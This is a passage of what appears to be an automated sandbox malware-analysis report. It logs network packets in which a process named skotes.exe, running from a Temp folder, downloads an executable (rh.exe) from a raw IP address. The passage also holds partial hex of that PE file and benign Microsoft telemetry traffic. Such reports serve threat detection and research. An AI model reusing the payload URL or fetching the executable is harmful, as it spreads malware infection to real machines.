<c>1008589001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd977dc4454bb#1008594001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e27c2121cea04b41a1c0371818cc34895bd9a5536e6#1008595041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec0151deb0bb31f16035b91dbb04fbe869a403db2#1008596001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008601001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e27c2121cea04b41a1c036d9afeb33e919f9a5536e6#1008608041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec0151deb0bb31f16037fcaebb41794fe9a403db2#1008609041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec0151deb0bb31f160370b58ec60b8a989a403db2#1008610001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008611001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008612001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008613001+++fc8f [TRUNCATED]
Nov 24, 2024 04:22:10.641644001 CET	124	IN	Data Raw: 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 30 38 36 31 34 30 34 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 Data Ascii: 4b2846d934f48b15eaa495c49#1008614041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec0151deb0bb31f160342bd8ee83e9
Nov 24, 2024 04:22:10.884962082 CET	22	IN	Data Raw: 66 66 38 39 61 34 30 33 64 62 32 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: ff89a403db2#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50140	31.41.244.11	80	8764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:22:11.008487940 CET	50	OUT	GET /files/rh.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 04:22:12.392158031 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:22:12 GMT Content-Type: application/octet-stream Content-Length: 1984512 Last-Modified: Sat, 23 Nov 2024 17:59:33 GMT Connection: keep-alive ETag: "67421805-1e4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^K@K@Vjp <@.rsrcpL@.idata V@ )X@ettnbbde1Z@lbelwvmkK"@.taggant0K"&@
Nov 24, 2024 04:22:12.392354965 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:22:12.392388105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:22:12.392437935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:22:12.392473936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:22:12.392505884 CET	672	IN	Data Raw: 74 bb a5 2e 6c 30 ac 09 e8 88 f6 24 94 e2 5b e1 f6 16 ac 38 03 f9 27 2a 62 cf 14 25 7e d6 d1 09 c2 cc 4b 5a ba 4b 26 2c 24 50 db 05 d9 5b f5 d1 32 d8 d3 14 07 79 50 09 97 eb 70 c7 f4 f2 f4 9c ff b4 29 30 a7 bf fa 35 ac 03 7c ce 87 2c ea 4c a9 93 Data Ascii: t.l0$[8'*b%~KZK&,$P[2yPp)05\|,L\Ogp)4!_`K7X?^#%dAr%_7&xtTkX1t)~Km<&3JN./6)E^8_)D[$tT:/7$/1,
Nov 24, 2024 04:22:12.392540932 CET	1236	IN	Data Raw: 38 28 ac af f6 10 db 5e 28 e3 d0 ce e8 89 ea f7 92 a3 13 be d9 71 09 69 b7 dc e0 1f da 61 fc 19 19 fd 7a 68 1d e2 d2 71 00 1a 3e 70 3b 2d 60 a5 9a 09 c3 32 58 32 96 cd d1 5e f8 21 6b 40 4c e0 2f 22 74 73 f4 e4 33 6a 75 c0 4b d4 63 fe b3 29 10 9f Data Ascii: 8(^(qiazhq>p;-`2X2^!k@L/"ts3juKc)cQof_4W9rr9#f'W\g;r,%5j.&&PCN\|7:\|y%TE,6UM@I3*tO6LWaZ`!B
Nov 24, 2024 04:22:12.392574072 CET	1236	IN	Data Raw: e7 25 fc 09 5e fd d6 16 1b 48 72 a5 e8 7a 66 35 37 98 5b 82 07 bd 0b 7d 97 4e b2 3f ac f2 b8 9c 6f 97 d3 2c b0 5b fb 3f 00 56 db 2e a8 d8 69 d3 c3 e4 73 f7 d7 79 09 19 e8 dc 6e f1 59 9c fb 8c e7 fd f1 0f 06 6c 24 9c e0 1a 2f 6c 54 ab 5f a5 81 67 Data Ascii: %^Hrzf57[}N?o,[?V.isynYl$/lT_g Xw%s^@Y?i]m),)_!KX7(U8i6r}2&zosQ ITst96*C`(~s9%xhK&'q)\|'
Nov 24, 2024 04:22:12.392608881 CET	1236	IN	Data Raw: 28 65 7c ce 4f 1a ea f5 d0 9f 8d bd a2 85 09 8e 08 d9 51 06 db 32 ac 35 7a 03 56 29 10 a3 6b 97 35 19 46 10 e6 59 fc 5c f1 89 f4 db de 56 09 78 dd dc 6e 2e a7 7c fc cd d2 fd 85 71 1a 7c 61 63 02 0a a9 fa 38 71 2f b1 a1 16 3d bf 30 6d 93 ef 43 f2 Data Ascii: (e\|OQ25zV)k5FY\Vxn.\|q\|ac8q/=0mC0j0b@A:P^aMY]R>,9*HH`T]XIV^TL`=^1?[{!R?ld 3^k/,=g
Nov 24, 2024 04:22:12.392646074 CET	1236	IN	Data Raw: 81 9a 55 3e 58 f5 c8 51 c6 5e e4 d7 ba 65 67 ed 65 94 0e 70 94 e2 a0 ec 5d f5 ab 83 f7 9e 2f 2a 10 ac 6f 23 ed 1a 5e 7e a5 8f 60 a0 f1 9d 87 23 57 1d 70 73 8a f3 c7 77 07 98 81 b1 b5 ab db d6 f7 69 ca 12 de 51 e8 5b 60 c2 f8 8d 88 eb a2 73 24 d6 Data Ascii: U>XQ^egep]/*o#^~`#WpswiQ[`s$uIFU=^pLwj&r2_mFHJ3t_OkLw:stJq)9qh{P9,J4("5>s:@X`)}X9S^
Nov 24, 2024 04:22:12.511792898 CET	1236	IN	Data Raw: ee 72 12 5f 2f fd a0 7d 12 61 f9 23 c8 5d fc ce 1a ac e9 12 6c ee 91 bd 60 e4 08 f8 cd dc 64 0b b8 a7 fb 57 39 fd 0d 79 1a 7b 15 eb f6 0a 98 ec 38 d1 6b af 1b b3 8c 0c 28 40 44 cf 2d 4f ea 1c 10 61 fa bd d8 d1 08 1f e6 dc 47 72 75 d7 fb 23 b1 fd Data Ascii: r_/}a#]l`dW9y{8k(@D-OaGru#L[=A}?-6[$W9t0cL%!+p[9uY,td:Itys;Y@LKZ%hV6 3\|jb,;IeVY94(S

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 53 47 4c 57 48 65 2f 55 45 71 48 4e 34 66 43 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 61 35 30 34 64 61 39 31 36 66 66 31 65 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kSGLWHe/UEqHN4fC.1Context: 7fa504da916ff1e9
2024-11-24 03:20:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-24 03:20:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 53 47 4c 57 48 65 2f 55 45 71 48 4e 34 66 43 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 61 35 30 34 64 61 39 31 36 66 66 31 65 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4d 2f 57 6c 62 63 68 2f 38 42 74 32 7a 6b 72 33 4a 61 4a 34 4f 7a 7a 44 4a 64 6d 76 48 51 4d 62 57 7a 38 4f 4c 48 55 6f 4f 53 4a 59 55 77 63 7a 37 53 41 73 2b 69 34 74 76 6e 2f 63 50 76 6a 72 48 67 36 31 6f 37 78 2f 70 49 6a 37 63 49 6c 69 33 4f 53 78 66 6f 4e 7a 64 68 4f 7a 72 2b 4f 39 54 44 63 44 31 30 47 66 45 34 65 6a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kSGLWHe/UEqHN4fC.2Context: 7fa504da916ff1e9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdM/Wlbch/8Bt2zkr3JaJ4OzzDJdmvHQMbWz8OLHUoOSJYUwcz7SAs+i4tvn/cPvjrHg61o7x/pIj7cIli3OSxfoNzdhOzr+O9TDcD10GfE4ej
2024-11-24 03:20:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6b 53 47 4c 57 48 65 2f 55 45 71 48 4e 34 66 43 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 61 35 30 34 64 61 39 31 36 66 66 31 65 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: kSGLWHe/UEqHN4fC.3Context: 7fa504da916ff1e9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-24 03:20:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-24 03:20:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 2b 68 62 6b 4a 44 65 76 6b 53 76 66 36 45 75 45 7a 68 65 39 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: f+hbkJDevkSvf6EuEzhe9g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:16 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: ac3306f4-b01e-00ab-523b-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032016Z-15b8b599d8885prmhC1TEBsnkw00000003wg00000000hg7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:16 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
